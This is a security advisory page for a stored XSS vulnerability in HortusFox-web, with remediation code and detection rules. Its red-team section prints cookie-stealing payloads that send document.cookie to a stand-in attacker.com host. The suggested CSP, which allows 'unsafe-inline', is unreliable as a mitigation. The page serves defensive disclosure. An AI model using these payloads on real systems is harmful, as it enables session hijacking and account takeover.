CVE-2025-45316
Executive Summary
CVE-2025-45316 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the TextBlockModule.php component of HortusFox-web v4.4, an open-source plant management application. The flaw allows an unauthenticated attacker to inject arbitrary JavaScript or HTML into the name parameter, which is then stored and executed in the context of any user viewing the affected text block module. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known but currently unpatched by the vendor (Hortusfox). The EPSS score is 0.0%, indicating low active exploitation in the wild, but the risk remains significant for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a PHP-based web application (not NPM, PyPI, Go, or Ruby). No supply chain package manager is involved. The vulnerability exists in the application's own source code, not in a third-party dependency.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must view the malicious text block
- Scope: Changed (S:C) – the injected script executes in the victim's browser, not the server
- Confidentiality Impact: Low (C:L) – potential for data exfiltration
- Integrity Impact: Low (I:L) – content modification possible
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the public availability of exploit details elevate the risk for unpatched installations.
Deep Dive & Mechanics
The vulnerability resides in the TextBlockModule.php file, which handles the creation and rendering of text block modules within the HortusFox application. The name parameter is not properly sanitized or escaped before being stored in the database and later rendered in the user's browser.
Root Cause: The application fails to apply output encoding (e.g., htmlspecialchars() in PHP) when displaying the name value. This allows an attacker to inject arbitrary HTML/JavaScript payloads.
Attack Flow:
- An attacker sends a POST request to the endpoint that creates or updates a text block module, with a malicious payload in the
nameparameter (e.g.,<script>alert('XSS')</script>). - The application stores the payload in the database without sanitization.
- When an administrator or any user views the page containing the text block module, the payload is rendered and executed in their browser.
- The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.
Impact: Full XSS exploitation can lead to account takeover, data theft, and defacement of the HortusFox instance.
Vulnerable vs. Patched Code
Since no official patch exists, the following shows the vulnerable code and a suggested fix.
Vulnerable Code (TextBlockModule.php - v4.4):
// Vulnerable: Direct output without escaping
echo "<div class='text-block'>" . $name . "</div>";
Patched Code (Suggested Fix):
// Patched: Proper output encoding
echo "<div class='text-block'>" . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "</div>";
The fix uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of HortusFox-web v4.4
- Network access to the application
- A valid session or ability to trigger the vulnerable endpoint (often unauthenticated)
Exploit Steps:
- Identify the vulnerable endpoint (e.g.,
/index.php?module=textblock&action=save). - Craft a POST request with a malicious payload in the
nameparameter:POST /index.php?module=textblock&action=save HTTP/1.1 Host: target-hortusfox.local Content-Type: application/x-www-form-urlencoded name=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>&content=Test - The payload is stored and executed when any user views the text block module.
- The attacker receives the victim's cookies at their controlled server.
Alternative Payload (Session Hijacking):
<script>new Image().src='http://attacker.com/log?cookie='+document.cookie;</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for suspicious
nameparameters containing<script>,onerror, or other HTML event handlers. - Use WAF rules to block common XSS patterns in POST/GET parameters.
Hardening:
- Apply the suggested patch (output encoding) immediately.
- Restrict access to the HortusFox admin interface via VPN or IP whitelisting.
- Enable Content Security Policy (CSP) headers to mitigate XSS impact:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'; - Use HTTP-only cookies to prevent JavaScript access to session tokens.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/index.php?module=textblock&action=savewithnamecontaining<script>tags. - Outbound connections to attacker-controlled domains from the HortusFox server (e.g., for cookie exfiltration).
- POST requests to
- File IOCs:
- Modified
TextBlockModule.phpfile (if attacker attempts to patch). - Suspicious entries in the database
text_blocktable withnamecontaining HTML/JavaScript.
- Modified
- Log IOCs:
- Web server logs showing
name=<script>in the request body. - Error logs indicating failed XSS attempts (e.g., blocked by WAF).
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_45316_XSS_TextBlockModule {
meta:
description = "Detects malicious payloads targeting CVE-2025-45316 in HortusFox-web"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-45316"
strings:
$xss_payload1 = /name=<script[^>]*>.*<\/script>/i
$xss_payload2 = /name=.*onerror\s*=/i
$xss_payload3 = /name=.*onload\s*=/i
$xss_payload4 = /name=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-45316 XSS Attempt in HortusFox TextBlockModule
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests with XSS payloads in the name parameter targeting HortusFox TextBlockModule
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: POST
cs-uri-query|contains: "module=textblock&action=save"
cs-uri-query|contains|all:
- "name="
- "<script"
condition: selection
falsepositives:
- Legitimate use of HTML in text blocks (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-45316 XSS Attempt in HortusFox TextBlockModule"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"module=textblock&action=save"; http_uri; content:"name="; http_client_body; pcre:"/name=<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply the patch (output encoding) to
TextBlockModule.phpas shown in the Vulnerable vs. Patched Code section. - Restrict access to the HortusFox admin interface using firewall rules or VPN.
- Enable WAF rules to block XSS payloads in the
nameparameter.
Long-Term Measures:
- Upgrade to a patched version once released by Hortusfox.
- Conduct a full security audit of the application for similar injection flaws.
- Implement a Content Security Policy (CSP) to reduce the impact of XSS.
- Use parameterized queries or prepared statements for all database interactions (though not directly related to XSS, it's good practice).
Workaround (if patching is not possible):
- Disable the TextBlockModule functionality by removing or renaming
TextBlockModule.phpuntil a patch is available.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.